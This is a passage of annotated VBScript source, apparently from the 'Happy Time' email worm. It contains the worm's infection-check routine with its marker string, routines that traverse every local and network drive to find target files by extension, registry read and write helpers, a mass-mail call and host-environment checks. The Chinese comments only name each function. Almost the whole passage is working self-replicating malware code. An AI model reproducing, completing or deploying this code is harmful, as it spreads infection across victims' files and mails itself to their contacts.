> set fc2 = of.opentextfile(s, 8)
> fc2.write mt
> fc2.close
> msend (mmail)
> end if
> end sub
> function sc(s) ----------------sc 过程,判断是否已感染
> mn = "rem i am sorry! happy time"
> if instr(s, mn) > 0 then
> sc = true
> else
> sc = false
> end if
> end function
> function fnext(of, od, s) -------------------fnext函数
> dim fpath, fname, fext, t, gf
> on error resume next
> fname = ""
> t = false
> if of.fileexists(s) then
> fpath = of.getfile(s).parentfolder
> fname = s
> elseif of.folderexists(s) then
> fpath = s
> t = true
> else
> fpath = dnext(of, "")
> end if
> do while true
> set gf = of.getfolder(fpath).files
> for each m in gf
> if t then
> if getext(of, od, m) <> "" then
> fnext = m
> exit function
> end if
> elseif lcase(m) = lcase(fname) or fname = "" then
> t = true
> end if
> next
> fpath = pnext(of, fpath)
> loop
> end function
> function pnext(of, s) ----------pnext函数
> on error resume next
> dim ppath, npath, gp, pn, t, m
> t = false
> if of.folderexists(s) then
> set gp = of.getfolder(s).subfolders
> pn = gp.count
> if pn = 0 then
> ppath = lcase(s)
> npath = lcase(of.getparentfoldername(s))
> t = true
> else
> npath = lcase(s)
> end if
> do while not er
> for each pn in of.getfolder(npath).subfolders
> if t then
> if ppath = lcase(pn) then
> t = false
> end if
> else
> pnext = lcase(pn)
> exit function
> end if
> next
> t = true
> ppath = lcase(npath)
> npath = of.getparentfoldername(npath)
> if of.getfolder(ppath).isrootfolder then
> m = of.getdrivename(ppath)
> pnext = dnext(of, m)
> exit function
> end if
> loop
> end if
> end function
> function dnext(of, s) ---------dnext函数
> dim dc, n, d, t, m
> on error resume next
> t = false
> m = ""
> set dc = of.drives
> for each d in dc
> if d.drivetype = 2 or d.drivetype = 3 then
> if t then
> dnext = d
> exit function
> else
> if lcase(s) = lcase(d) then
> t = true
> end if
> if m = "" then
> m = d
> end if
> end if
> end if
> next
> dnext = m
> end function
> function getext(of, od, s) --------------getext函数,获得扩展名
> dim fext
> on error resume next
> fext = lcase(of.getextensionname(s))
> getext = od.item(fext)
> end function
> sub rw(k, v) -------------rw过程,写注册表
> dim r
> on error resume next
> set r = createobject("wscript.shell")
> r.regwrite k, v
> end sub
> function rg(v) --------------rv 函数,读注册表
> dim r
> on error resume next
> set r = createobject("wscript.shell")
> rg = r.regread(v)
> end function
> function isvbs() -------------isvbs函数
> dim errtest
> on error resume next
> errtest = wscript.scriptfullname
> if err then
> isvbs = false
> else
> isvbs = true
> end if
> end function
> function ishtml() --------------ishtml函数
> dim errtest
> on error resume next